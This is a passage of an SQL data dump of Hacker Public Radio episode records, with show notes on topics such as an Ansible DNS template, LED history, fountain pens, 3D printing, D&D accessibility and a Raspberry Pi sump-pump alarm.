after 1 week\r\n                1D)         ; minimum TTL of 1 day\r\n\r\nIN  NS  gate.\r\n\r\nIN  MX  50 gate.local.lan.\r\n\r\nlocal.lan.      IN A    192.168.10.10\r\n\r\n{% for host in static_ip.list%}\r\n{{ host.hostname }} IN A {{ host.ip }}\r\n{% endfor %}\r\n\r\n{% for host in subnet_10.list%}\r\n{{ host.hostname }} IN A {{ host.ip }}\r\n{% endfor %}\r\n\r\n{% for host in subnet_11.list%}\r\n{{ host.hostname }} IN A {{ host.ip }}\r\n{% endfor %}\r\n</code></pre>\r\n<h3 id=\"rendered-a-records\">Rendered A records</h3>\r\n<pre><code>pi3b IN A 192.168.10.101\r\npi3a IN A 192.168.10.45\r\nipcam3 IN A 192.168.10.79\r\nipcam1 IN A 192.168.10.80</code></pre>\r\n<h2 id=\"run-the-playbook\">Run the playbook</h2>\r\n<pre><code>ansible-playbook hostname-setup.yml</code></pre>\r\n',342,0,0,'CC-BY-SA','ansible, dhcp,  dns, openbsd',0,0,1),
(3191,'2020-10-26','Swedish Corona Experience',969,'I will cover my experience of the Corona virus','<p>Swedish Health Authority Recommendation</p>\r\n<ul>\r\n<li>If sick stay at home.</li>\r\n<li>If you have symptoms take a test.</li>\r\n<li>Wash at least 20 seconds use alcohol with atleast 60% alcohol content.</li>\r\n<li>Don\'t touch your face with unwashed hands.</li>\r\n<li>Keep distance arm length (or 2m).</li>\r\n<li>Don\'t gather in large companies.</li>\r\n<li>Avoid public transport, try walking or biking when possible.\r\n<ul>\r\n<li>If required go with public transport book a ticket or go when others don\'t.</li>\r\n</ul></li>\r\n<li>If possible work from home.</li>\r\n</ul>\r\n<p><a href=\"https://www.folkhalsomyndigheten.se/smittskydd-beredskap/utbrott/aktuella-utbrott/covid-19/\" class=\"uri\">https://www.folkhalsomyndigheten.se/smittskydd-beredskap/utbrott/aktuella-utbrott/covid-19/</a></p>\r\n',382,100,0,'CC-BY-SA','corona, sweden',0,0,1),
(3280,'2021-02-26','What We Need For the ActivityPub Network',1026,'This keynote address looks at where federated social media can go if we make it work. ','<p>Federated social media can open up some wonderful possibilities but we need to make it happen. In this opening keynote address Evan Prodromou, who arguably started it all off, shows that he has thought long and deeply about this, and gives us his vision for where we can take it. <a href=\"https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-2020-evan-prodromou/\" class=\"uri\">https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-2020-evan-prodromou/</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Evan_Prodromou\" class=\"uri\">https://en.wikipedia.org/wiki/Evan_Prodromou</a></li>\r\n<li><a href=\"https://www.w3.org/community/fedsocweb/\" class=\"uri\">https://www.w3.org/community/fedsocweb/</a></li>\r\n<li><a href=\"https://www.w3.org/wiki/Socialwg\" class=\"uri\">https://www.w3.org/wiki/Socialwg</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ActivityPub\" class=\"uri\">https://en.wikipedia.org/wiki/ActivityPub</a></li>\r\n<li><a href=\"https://conf.tube/videos/watch/c79457a9-aae5-47dd-8731-617e6b09fe06\" class=\"uri\">https://conf.tube/videos/watch/c79457a9-aae5-47dd-8731-617e6b09fe06</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Yo_(app)\" class=\"uri\">https://en.wikipedia.org/wiki/Yo_(app)</a></li>\r\n<li><a href=\"https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-2020-evan-prodromou/\" class=\"uri\">https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-2020-evan-prodromou/</a></li>\r\n</ul>',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub',0,0,1),
(3194,'2020-10-29','Linux Inlaws S01E16: The count and the questions',4061,'Linux Inlaws S01E16: This is Linux Inlaws, a series on free and open source software, black humour a','<ul>\r\n<li>Halloween: <a href=\"https://en.wikipedia.org/wiki/Halloween\" target=\"_blank\">https://en.wikipedia.org/wiki/Halloween</a></li>\r\n<li>Ancient vampire folklore: <a href=\"https://en.wikipedia.org/wiki/Vampire_folklore_by_region#Mesopotamia\" target=\"_blank\">https://en.wikipedia.org/wiki/Vampire_folklore_by_region#Mesopotamia</a></li>\r\n<li>Blade franchise: <a href=\"https://en.wikipedia.org/wiki/Blade_(franchise)\" target=\"_blank\">https://en.wikipedia.org/wiki/Blade_(franchise)</a></li>\r\n<li>Judas history: <a href=\"https://authorlyngibson.wordpress.com/2013/08/05/the-legend-of-judas-iscariot-vampire\" target=\"_blank\">https://authorlyngibson.wordpress.com/2013/08/05/the-legend-of-judas-iscariot-vampire</a></li>\r\n<li>Vulcans &amp; Romulans: <a href=\"https://memory-alpha.fandom.com/wiki/Vulcan-Romulan_history\" target=\"_blank\">https://memory-alpha.fandom.com/wiki/Vulcan-Romulan_history</a></li>\r\n<li>The Fly: <a href=\"https://www.imdb.com/title/tt0091064\" target=\"_blank\">https://www.imdb.com/title/tt0091064</a></li>\r\n<li>PETA: <a href=\"https://www.peta.org\" target=\"_blank\">https://www.peta.org</a></li>\r\n<li>Oracle vs. Google: <a href=\"https://techcrunch.com/2020/10/06/standing-by-developers-through-google-v-oracle\" target=\"_blank\">https://techcrunch.com/2020/10/06/standing-by-developers-through-google-v-oracle</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','Count, questions, vlad, legends, Halloween',0,0,1),
(3192,'2020-10-27','A light bulb moment, part 3',777,'The LED revolution','<p><strong><u>LED History</u></strong></p>\r\n<p>The history of the LED revolution is both long and complex but I\'ll do my best to cover it. Please forgive me if I mispronounce some of the materials and processes I\'m not a lighting expert as I stated right back at the beginning of this series.</p>\r\n<p>The following excerpts are from Wikipedia; the link will be in the show notes, <a href=\"https://en.wikipedia.org/wiki/Light-emitting_diode\">https://en.wikipedia.org/wiki/Light-emitting_diode</a></p>\r\n<p>The LED or Light Emitting Diode first appeared as a practical electronic component in 1962, the earliest LEDs emitted low-intensity infrared light.[7] Infrared LEDs are used in remote-control circuits, such as those used with a wide variety of consumer electronics. The first visible-light LEDs were of low intensity and limited to red. Modern LEDs are available across the visible, ultraviolet, and infrared wavelengths, with high light output. A great deal of development and refinement was required to get to this point.</p>\r\n<p>The first commercial visible-wavelength LEDs were commonly used as replacements for incandescent and neon indicator lamps, and in seven-segment displays,[31] first in expensive equipment such as laboratory and electronics test equipment, then later in such appliances as calculators, TVs, radios, telephones, as well as watches (see list of signal uses). Until 1968, visible and infrared LEDs were extremely costly, in the order of US$200 per unit, and so had little practical use.[32]</p>\r\n<p>In 1968 Monsanto was the first organization to mass-produce visible LEDs, these were red LEDs suitable for indicators.[32]</p>\r\n<p>In February 1969, Hewlett-Packard introduced the HP Model 5082-7000 Numeric Indicator, the first LED device to use integrated circuit (integrated LED circuit) technology.[33] It was the first intelligent LED display, and was a revolution in digital display technology, replacing the Nixie tube and becoming the basis for later LED displays.[36]</p>\r\n<p>The early red LEDs were bright enough only for use as indicators, as the light output was not enough to illuminate an area. Readouts in calculators were so small that plastic lenses were built over each digit to make them legible. Later, other colors became widely available and appeared in appliances and equipment.</p>\r\n<p>The first blue-violet LED using magnesium-doped gallium nitride was made at Stanford University in 1972 by Herb Maruska and Wally Rhines</p>\r\n<p>In 1973 Pankove and Ed Miller demonstrated the first blue electroluminescence from zinc-doped gallium nitride, though the subsequent device Pankove and Miller built, the first actual gallium nitride light-emitting diode, emitted green light.[49][50]</p>\r\n<p>Today, magnesium-doping of gallium nitride remains the basis for all commercial blue LEDs and laser diodes. In the early 1970s, these devices were too dim for practical use, and research into gallium nitride devices slowed.</p>\r\n<p>In 1993, high-brightness blue LEDs were demonstrated by Shuji Nakamura of Nichia Corporation using a gallium nitride growth process.[56][57][58] In parallel, Isamu Akasaki and Hiroshi Amano in Nagoya were working on developing the important GaN deposition on sapphire substrates and the demonstration of p-type doping of GaN. This new development revolutionized LED lighting, making high-power blue light sources practical, leading to the development of technologies like Blu-ray[citation needed].</p>\r\n<p>In 1995, Alberto Barbieri at the Cardiff University Laboratory (GB) investigated the efficiency and reliability of high-brightness LEDs and demonstrated a \"transparent contact\" LED using indium tin oxide (ITO) on (AlGaInP/GaAs).</p>\r\n<p>In 2001[62] and 2002,[63] processes for growing gallium nitride (GaN) LEDs on silicon were successfully demonstrated.</p>\r\n<p>In January 2012, Osram demonstrated high-power InGaN LEDs grown on silicon substrates commercially,[64] and GaN-on-silicon LEDs are in production at Plessey Semiconductors.</p>\r\n<p><strong><u>White LEDs and the illumination breakthrough</u></strong></p>\r\n<p>Even though white light can be created using individual red, green and blue LEDs, this results in poor color rendering, since only three narrow bands of wavelengths of light are being emitted. The attainment of high efficiency blue LEDs was quickly followed by the development of the first white LED. In this device a cerium doped phosphor coating produces yellow light through fluorescence. The combination of that yellow with remaining blue light appears white to the eye. Using different phosphors produces green and red light through fluorescence. The resulting mixture of red, green and blue is perceived as white light, with improved color rendering compared to wavelengths from the blue LED/YAG phosphor combination.</p>\r\n<p>The first white LEDs were expensive and inefficient. However, the light output of LEDs has increased exponentially. The latest research and development has been propagated by Japanese manufacturers such as Panasonic, and Nichia, and by Korean and Chinese manufacturers such as Samsung, Kingsun, and others. This trend in increased output has been called Haitz\'s law after Dr. Roland Haitz.[79]</p>\r\n<p><em>Figure 1</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3192/img_001.png\" alt=\"Figure 1\" /><br />\r\n<em>Illustration of Haitz\'s law, showing improvement in light output per LED over time, with a logarithmic scale on the vertical axis</em></p>\r\n<p>Light output and efficiency of blue and near-ultraviolet LEDs rose and the cost of reliable devices fell. This led to relatively high-power white-light LEDs for illumination, which are replacing incandescent and fluorescent lighting.[80][81]</p>\r\n<p>Experimental white LEDs have been demonstrated to produce 303 lumens per watt of electricity (lm/w); some can last up to 100,000 hours.[82][83] However, commercially available LEDs have an efficiency of up to 223 lm/w.[84][85][86]</p>\r\n<p>Below are some comparisons for incandescent bulbs</p>\r\n<p><u><strong>Some figures I found online from Wikipedia</strong></u></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Incandescent_light_bulb\">https://en.wikipedia.org/wiki/Incandescent_light_bulb</a></p>\r\n<p>(Example figure for Standard Incandescent bulb only 12.6 lm / W)</p>\r\n<p>(Example figures for Halogen bulb being 24 lm / W)</p>\r\n<p>With LEDs continuing to get cheaper and even though for now they cost more than traditional bulbs, having this huge increase in electrical efficiency means the overall cost is significantly cheaper than that of incandescent bulbs.[87]</p>\r\n<p>While indicator LEDs are known for their extremely long life, up to 100,000 hours, lighting LEDs are operated much less conservatively, and consequently have shorter lives. LED technology is useful for lighting designers, because of its low power consumption, low heat generation, instantaneous on/off control, and in the case of single color LEDs, continuity of color throughout the life of the diode and relatively low cost of manufacture. LED lifetime depends strongly on the temperature of the diode. Operating an LED lamp in conditions that increase the internal temperature can greatly shorten the lamp\'s life.</p>\r\n<p>I now use LED lighting in my own home particularly in the areas where lighting is on for extended periods such as in the living room.</p>\r\n<p>As you can see we have come an extremely long way in a relatively short space of time with advancements continuing to accelerate.</p>\r\n<p>It\'s hard to appreciate the massive impact electric lighting has had on the world.</p>\r\n<p>It\'s even harder to imagine living in a time not that long ago where an expensive candle producing a puny amount illumination was the only source of light, with the added not inconsiderable fire risk of having a naked flame sharing a room with combustible materials.</p>\r\n<p>With all these deterrents it\'s little wonder that people just went to bed when the sun went down.</p>\r\n',201,0,1,'CC-BY-SA','Electrical, Hacks',0,0,1),
(3188,'2020-10-21','Thrift store quick fix',67,'Fixing up a dog coat for the cool weather.','<h3 id=\"thrift-store-quick-fix-for-a-dog-coat.\">Thrift store quick fix for a dog coat.</h3>\r\n<ol type=\"1\">\r\n<li>Ripped out stitches on defective velcro.</li>\r\n</ol>\r\n<p><small><em>Picture 1</em></small><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3188/img_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3188/img_001_thumbnail.jpg\" alt=\"Picture 1\" /></a></p>\r\n<ol start=\"2\" type=\"1\">\r\n<li>Re-stitched with the flat surface facing up.</li>\r\n</ol>\r\n<p><small><em>Picture 2</em></small><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3188/img_002.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3188/img_002_thumbnail.jpg\" alt=\"Picture 2\" /></a></p>\r\n<p><small><em>Picture 3</em></small><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3188/img_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3188/img_003_thumbnail.jpg\" alt=\"Picture 3\" /></a></p>\r\n<ol start=\"3\" type=\"1\">\r\n<li>Hot-glued replacement velcro.</li>\r\n</ol>\r\n<p><small><em>Picture 4</em></small><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3188/img_004.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3188/img_004_thumbnail.jpg\" alt=\"Picture 4\" /></a></p>\r\n<ol start=\"4\" type=\"1\">\r\n<li>Profit</li>\r\n</ol>\r\n<p><small><em>Picture 5</em></small><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3188/img_005.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3188/img_005_thumbnail.jpg\" alt=\"Picture 5\" /></a></p>\r\n',318,0,0,'CC-BY-SA','sewing',0,0,1),
(3189,'2020-10-22','How the Dutch dig Graves',163,'Ken explains how they dig graves when the ground is essentially sand','<p>\r\nOn a lock down walk in the local grave yard, Ken and his Wife stumble upon a new grave. As the soil is mostly sand, the graves need to be shored up to prevent collapse.\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3189/1.jpg\" />\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3189/2.jpg\" />\r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3189/3.jpg\" />\r\n</p>',30,0,1,'CC-BY-SA','graves, sand, How Holland Works, Dutch, Netherlands',0,0,1),
(3193,'2020-10-28','Meet Antithesis',1946,'Meet my new computer, a Pinebook Pro, as I explain my rationale, unbox it, and set it up.','<p>In this episode Paul discusses his thoughts in ordering a Pinebook Pro. During the episode he does an unboxing, and then comes back after a week of use to let us know how it preforms in practice.<br />\r\n\r\nYou can get one yourself here: <a href=\"https://www.pine64.org/\" class=\"uri\">https://www.pine64.org/</a></p>\r\n',383,57,0,'CC-BY-SA','Pinebook,Pro,64,unboxing',0,0,1),
(3198,'2020-11-04','Income Life insurance and then Chopin',1381,'I talk about my thoughts on Income Life insurance, and then we listen to some Chopin','<p><code>@paul@cloud.pquirk.com</code></p>',383,0,0,'CC-BY-SA','Income,life,insurance,investment,investing,Chopin',0,0,1),
(3195,'2020-10-30','For your Consideration - the ideal Ham Radio setup',3470,'Introducing a new podcast to me, with a special guest with an interest in amateur radio.','<ol type=\"1\">\r\n<li><p>Host Noah Cheliah</p></li>\r\n<li><p>Plenty of Linux security and IP cameras talk</p></li>\r\n<li><p>Focus on Free Software and related news</p></li>\r\n<li><p>Noah brings on a guest, who describe his ideal Ham Radio setup, which includes use of Software Defined radio.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Software-defined_radio\" class=\"uri\">https://en.wikipedia.org/wiki/Software-defined_radio</a></p></li>\r\n<li><p>Guest talking about Ham Radio starts at 00:25:42</p>\r\n<p><a href=\"https://podcast.asknoahshow.com/200\" class=\"uri\">https://podcast.asknoahshow.com/200</a></p></li>\r\n</ol>\r\n',318,75,0,'CC-BY-NC-ND','linux, security, amateur radio',0,0,1),
(3197,'2020-11-03','Pens, pencils, paper and ink - 3',1420,'Looking at another batch of writing equipment','<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the third in a short series about pens, pencils, writing paper and ink.</p>\r\n<p>In this episode I look at two Chinese fountain pens, a mechanical pencil, a gel pen, some inks and some paper.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>The <a href=\"https://hackerpublicradio.org/eps/hpr3197/full_shownotes.html\">main notes for this episode, including pictures, can be viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Pen &amp; Pencil Brands:\r\n<ul>\r\n<li>Jinhao\r\n<ul>\r\n<li><a href=\"https://qiangu.bjsx12.host.35.com/en/indexen.asp\">Website</a></li>\r\n<li><a href=\"https://stationery.wiki/Jinhao\">Stationery Wiki</a></li>\r\n</ul></li>\r\n<li>Pentel\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pentel\">Wikipedia page</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Mechanical Pencil:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Mechanical_pencil\">Wikipedia page</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Inks:\r\n<ul>\r\n<li><a href=\"https://www.jherbin.com/index.html\">J.Herbin</a></li>\r\n<li><a href=\"https://www.jetpens.com/J.-Herbin-Bleu-Pervenche-Ink-Periwinkle-Blue-30-ml-Bottle/pd/3768\">Jet Pens, Bleu Pervenche Ink, 30ml</a></li>\r\n<li><a href=\"https://www.diamineinks.co.uk/\">Diamine Inks</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Paper:\r\n<ul>\r\n<li><a href=\"https://www.clairefontaine.com/\">Clairefontaine</a></li>\r\n<li>Oxford:\r\n<ul>\r\n<li><a href=\"https://www.my-oxford.com/gb-en/oxford-campus-notebooks/oxford-campus-refill-pads\">Oxford Campus Refills</a></li>\r\n<li><a href=\"https://www.my-oxford.com/int-en/oxford-black-n-red\">Oxford Black N’ Red</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>HPR links:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1941\">hpr1941 :: What’s in my case</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2061\">hpr2061 :: Handwriting</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2273\">hpr2273 :: Fountain Pens</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3063\">hpr3063 :: Pens, pencils, paper and ink - 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3092\">hpr3092 :: Pens, pencils, paper and ink - 2</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,112,1,'CC-BY-SA','fountain pen,gel pen,mechanical pencil,ink,paper',0,0,1),
(3201,'2020-11-09','A small intro to 3D printing',688,'Everything a newbie needs to know to start 3D printing','<ul>\r\n<li>My Ender 3 printer from Creality</li>\r\n<li>Cura, open source from Ultimaker, <a href=\"https://ultimaker.com/nl/software/ultimaker-cura\" class=\"uri\">https://ultimaker.com/nl/software/ultimaker-cura</a></li>\r\n<li>Octoprint, <a href=\"https://octoprint.org/\" class=\"uri\">https://octoprint.org/</a></li>\r\n</ul>',369,0,0,'CC-BY-SA','3D printing',0,0,1),
(3203,'2020-11-11','The Paul Quirk show: Retro Computing',1838,'I discuss the hobby of retro computing in this episode.','<p>Some links of interest for the listener:</p>\r\n<ul>\r\n<li>Amiga emulation: <a href=\"https://fs-uae.net/\" class=\"uri\">https://fs-uae.net/</a></li>\r\n<li>Commodore 8 bit emulation: <a href=\"https://vice-emu.sourceforge.io/\" class=\"uri\">https://vice-emu.sourceforge.io/</a></li>\r\n<li>Atari emulation: <a href=\"https://hatari.tuxfamily.org/\" class=\"uri\">https://hatari.tuxfamily.org/</a></li>\r\n<li>Apple II emulation: <a href=\"https://apple2games.com/wiki/Apple_2_Emulators\" class=\"uri\">https://apple2games.com/wiki/Apple_2_Emulators</a></li>\r\n<li>A site for the Color Computer: <a href=\"https://cocoquest.com/\" class=\"uri\">https://cocoquest.com/</a></li>\r\n</ul>',383,0,0,'CC-BY-SA','retro,computing,Paul Quirk show,Commodore 64,Commodore 128,Vic 20,Apple II,coco,8-bit,PET,Atari',0,0,1),
(3199,'2020-11-05','Bad Audio Weed Eater Bugs Sprinkler and Bubbles !',1516,'Pushing the definition of \"Audible\" to the limit, join us for some home repair tips','<p>\r\nJoin us for some home repairs, picking up tips and tricks on the way. Sorry for the bad audio.\r\n</p>\r\n<ul>\r\n<li>Bad Audio</li>\r\n<li>Weedeater Bugs</li>\r\n<li>Sprinkler</li>\r\n<li>Bubbles</li>\r\n</ul>',36,0,1,'CC-BY-SA','home improvement,home repair,outdoors,outside ',0,0,1),
(3202,'2020-11-10','A big Question',1118,'In his first show, Padraig asks a big life question. Well ok more like an undead question.','<p>\r\nIn his first show - recorded on Halloween night, Padraig asks a big life question. Well ok more like an undead question. Which is better a Lich, or a Vampire.\r\n</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Lich_(Dungeons_%26_Dragons)\">https://en.wikipedia.org/wiki/Lich_(Dungeons_%26_Dragons)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Vampire_(Dungeons_%26_Dragons)\">https://en.wikipedia.org/wiki/Vampire_(Dungeons_%26_Dragons)</a></li>\r\n</ul>',388,95,0,'CC-BY-SA','DND, Vampires, Lich, Undead, Halloween',0,0,1),
(3205,'2020-11-13','Backups of your Backups of Backups',3205,'Do you have backups of your backups? Well you better! Listen to this rant','This is a general discussion about backups and cloud storage. ',36,0,1,'CC-BY-SA','backups,cloud,spideroak,backup,cloud backup,cloud backups',0,0,1),
(3211,'2020-11-23','Chainsaws',1098,'Info about chainsaws and what I know so far!','In this episode operat0r shares his experiences with chainsaws.',36,0,1,'CC-BY-SA','outdoors,outdoor,outside,mechanic,small engine repair,repair,home,home repair,chainsaws',0,0,1),
(3214,'2020-11-26','Rant about websites',1880,'I go over history of websites and the complex nature of security in complex websites','<p>In this show I go over history of websites and the complex nature of security in complex websites</p>',36,0,1,'CC-BY-SA','internet,security,history,html',0,0,1),
(3225,'2020-12-11','Grill repair',1027,'I go over some grill tips/repair','<p>A few quick tips on how to extend the life of grills.</p>',36,0,1,'CC-BY-SA','outdoor,outdoors,repair,home repair,grills',0,0,1),
(3235,'2020-12-25','Soldering Tips',487,'What little I know about the topic you will learn','<p>\r\nA follow up show in the vein of <a href=\"https://hackerpublicradio.org/eps.php?id=3016\">hpr3016 :: Nixie tube clock and friends!</a>. Also be sure to remove batteries from electronics in storage.</p>',36,103,1,'CC-BY-SA','Solder,Soldering,Electronics',0,0,1),
(3245,'2021-01-08','ELECTRICITY',1843,'I talk about tips on ELECTRICITY','<p>An adhoc show in traffic, about how sockets and 3 way switches work.</p>',36,0,1,'CC-BY-SA','ELECTRICITY',0,0,1),
(3216,'2020-11-30','Buying a second home in France',952,'Steps I have taken up to now for buying a second home in another country','<p><a href=\"https://www.funda.nl/\">funda.nl</a></p>\r\n<ul>\r\n<li><p>Do geo query on <a href=\"https://overpass-turbo.eu/\">overpass-turbo.eu</a></p></li>\r\n<li><p>Find query to query villages here: <a href=\"https://wiki.openstreetmap.org/wiki/Overpass_API/Overpass_API_by_Example\" class=\"uri\">https://wiki.openstreetmap.org/wiki/Overpass_API/Overpass_API_by_Example</a></p></li>\r\n<li><p>The box on the right is the viewport that you will get data from.</p></li>\r\n<li><p>Used python to convert xml file to Postgres sql table</p></li>\r\n<li><p>Run query for all < my_max_inhabitants</p></li>\r\n<li><p>Run script to query and save to csv</p></li>\r\n<li><p>Import csv into LibreOffice spreadsheet.</p></li>\r\n<li><p>Use global search & replace to make cells with google maps url clickable.</p></li>\r\n<li><p>Nice podcast of French women about buying a house in France<br />\r\n<a href=\"https://joinusinfrance.com/episode/buying-a-house-in-france-episode-239/\" class=\"uri\">https://joinusinfrance.com/episode/buying-a-house-in-france-episode-239/</a></p></li>\r\n</ul>',369,0,0,'CC-BY-SA','second-house,france',0,0,1),
(3204,'2020-11-12','Getting Started in 3D Printing',960,'Thaj gives his opinions and recommendations on how to get started in 3D printing','<p>Getting started in 3D printing</p>\r\n<ul>\r\n<li><p><a href=\"https://top3dshop.com/blog/fff-vs-fdm-difference-and-best-printers\">The FFF vs. FDM Debate</a></p></li>\r\n<li><p><a href=\"https://www.creality.com/goods-detail/ender-3-3d-printer\">Creality Ender 3</a></p></li>\r\n<li><p><a href=\"https://www.reprap.org/wiki/RepRap\">Where to go once you decide you need another 3D printer</a></p></li>\r\n</ul>',270,0,1,'CC-BY-SA','3D Printing',0,0,1),
(3206,'2020-11-16','Dungeons and Dragons for the blind',3511,'I discuss some easy workarounds to make tabletop RPGs easy for both sighted and non-sighted players','<p>Dungeons and Dragons, and most tabletop roleplaying games, are ideal platforms for players with low or no vision. However, because most players are sighted, you have to work-around some assumptions made by the rulebooks.</p>\r\n\r\n<p>I &#91;currently&#93; have vision, but I have played with a blind player before, and I\'ve played as a Dungeon Master with no materials on hand. In this episode, I discuss some easy workarounds to make tabletop RPGs easy for both sighted and non-sighted players.\r\n</p>\r\n\r\n<p>There are audiobook versions of the rule books available at <a href=\"https://listenrpg.com\">https://listenrpg.com</a>.</p>\r\n\r\n<p>The official D&amp;D digital platform is <a href=\"https://www.dndbeyond.com/\" target=\"_blank\">dndbeyond.com</a>, and it is accessible to blind players using a screen reader.</p>\r\n\r\n<p>Wizards of the Coast publishes the basic rules under the <a href=\"https://www.opengamingfoundation.org/licenses.html\" target=\"_blank\">Open Game License (OGL)</a>. As a service to my players, I maintain <a href=\"https://notabug.org/notklaatu/5srdnd.git\">a version of this document in plain text, with third-party OGL additions</a>. It may or may not be useful for screen readers, depending on your workflow.</p>',78,95,0,'CC-BY-SA','dnd,blind,inclusive,5e,tabletop,rpg',0,0,1),
(3217,'2020-12-01','Sump Minion',1106,'My first Internet of Things device, without using python','\r\n<p>1 <b>introduction</b></p>\r\n<p>1.1 back in Ohio using my regular voice<br />\r\n1.2 espeak is no worse than operat0rs audio and we all love his shows.</p>\r\n<p>2 <b>the problem</b></p>\r\n<p>2.1 where i live the water table is high and basement flooding is a problem <a href=\"https://en.wikipedia.org/wiki/Great_Black_Swamp\" class=\"uri\">https://en.wikipedia.org/wiki/Great_Black_Swamp</a><br />\r\n2.2 to counteract the water table problem houses have sumps in the basement</p>\r\n<p><em>sump closet</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3217/img_001.jpg\" alt=\"sump closet\" /></p>\r\n<p><em>sump close up</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3217/img_002.jpg\" alt=\"sump close up\" /></p>\r\n<p>2.2.1 sumps consist of a basin where outside water is collected<br />\r\n2.2.2 a pump, usually electric, that drains the sump<br />\r\n2.2.3 also a good sump system will have some type of backup pump</p>\r\n<p>2.3 the \'real\' problem happens when the sump pump(s) fail<br />\r\n2.3.1 primary pumps fail in many ways, mechanical motor failures, floats sticking electrical outage<br />\r\n2.3.2 secondary pumps also fail battery problems, mechanical problems<br />\r\n2.3.3 i wanted a notification system that would let me know that the water level in my sump was rising. i wanted it set so that if the water level hits where the secondary system kicks in i would get some ind of notification. i wanted a system that would not use python or some kind of \'home spy\' system available from some friendly corporation.</p>\r\n<p>3 <b>the solution</b></p>\r\n<p>3.1 a raspberrry pi, a simple transistor circuit, a c library that allows access to the pi\'s gpio\'s, mutt mail client, some bash scripting and a cron job</p>\r\n<p>\r\nThe probe is meerly 2 wires on the end of a pvc pipe. one wire is higher up on the pipe than the other when both wires are submerged, the circuit is complete. the wires are just some old stuff from a stripped out ethernet cable. you could easily cascade anumber of these circuits and provide a water level meter something like this,<br />\r\n\r\n<img src=\"https://www.homemade-circuits.com/wp-content/uploads/2019/06/water-level.jpg\" alt=\"water level meter\" /><br />\r\n, instead of running leds, you\'d hook each end to a gpio pin on the pie.\r\n</p>\r\n<p>\r\nIn picture 2, the closeup you can see the probe its the small pvc pipe with the blue wires running along the side. I attached the end of the wires to the pipe by stripping the ends and wrapping them around a small 1/2\" self tapping screw. then I screwed one in towards the bottom and on higher up. the one higer up determines when the water alarm goes off. \r\n</p>\r\n\r\n\r\n<p>4 <b>implementation</b></p>\r\n<p>4.1 raspberry pi 3b+<br />\r\n4.1.1 install slackware<br />\r\n<a href=\"https://sarpi.fatdog.eu/\" class=\"uri\">https://sarpi.fatdog.eu/</a><br />\r\nslackware-arm<br />\r\n<a href=\"https://arm.slackware.com/\" class=\"uri\">https://arm.slackware.com/</a><br />\r\npodcast<br />\r\n<a href=\"https://shows.acast.com/slackchat\" class=\"uri\">https://shows.acast.com/slackchat</a><br />\r\n4.1.2 access to gpio\'s<br />\r\n4.1.2.1 initially sysfs, its deprecated<br />\r\n<a href=\"https://www.kernel.org/doc/Documentation/ABI/obsolete/sysfs-gpio\" class=\"uri\">https://www.kernel.org/doc/Documentation/ABI/obsolete/sysfs-gpio</a><br />\r\n4.1.2.2 i was unable to get libgpio to compile<br />\r\n4.1.2.3 other solutions python. wiringpi, project dead<br />\r\n4.1.2.4 a library pigpiod<br />\r\n<a href=\"https://abyz.me.uk/rpi/pigpio/pigpiod.html\" class=\"uri\">https://abyz.me.uk/rpi/pigpio/pigpiod.html</a><br />\r\n4.1.2.5 slackbuilds pigpiod<br />\r\n<a href=\"https://slackbuilds.org/\" class=\"uri\">https://slackbuilds.org/</a><br />\r\n4.1.3 the circuit<br />\r\n4.1.3.1 a rework of a forrest mims water alarm circuit<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Forrest_Mims\" class=\"uri\">https://en.wikipedia.org/wiki/Forrest_Mims</a></p>\r\n<p><em>circuit diagram</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3217/img_003.jpg\" alt=\"circuit diagram\" /></p>\r\n<p>4.1.4 mutt<br />\r\n<a href=\"https://smalldata.tech/blog/2016/09/10/gmail-with-mutt\" 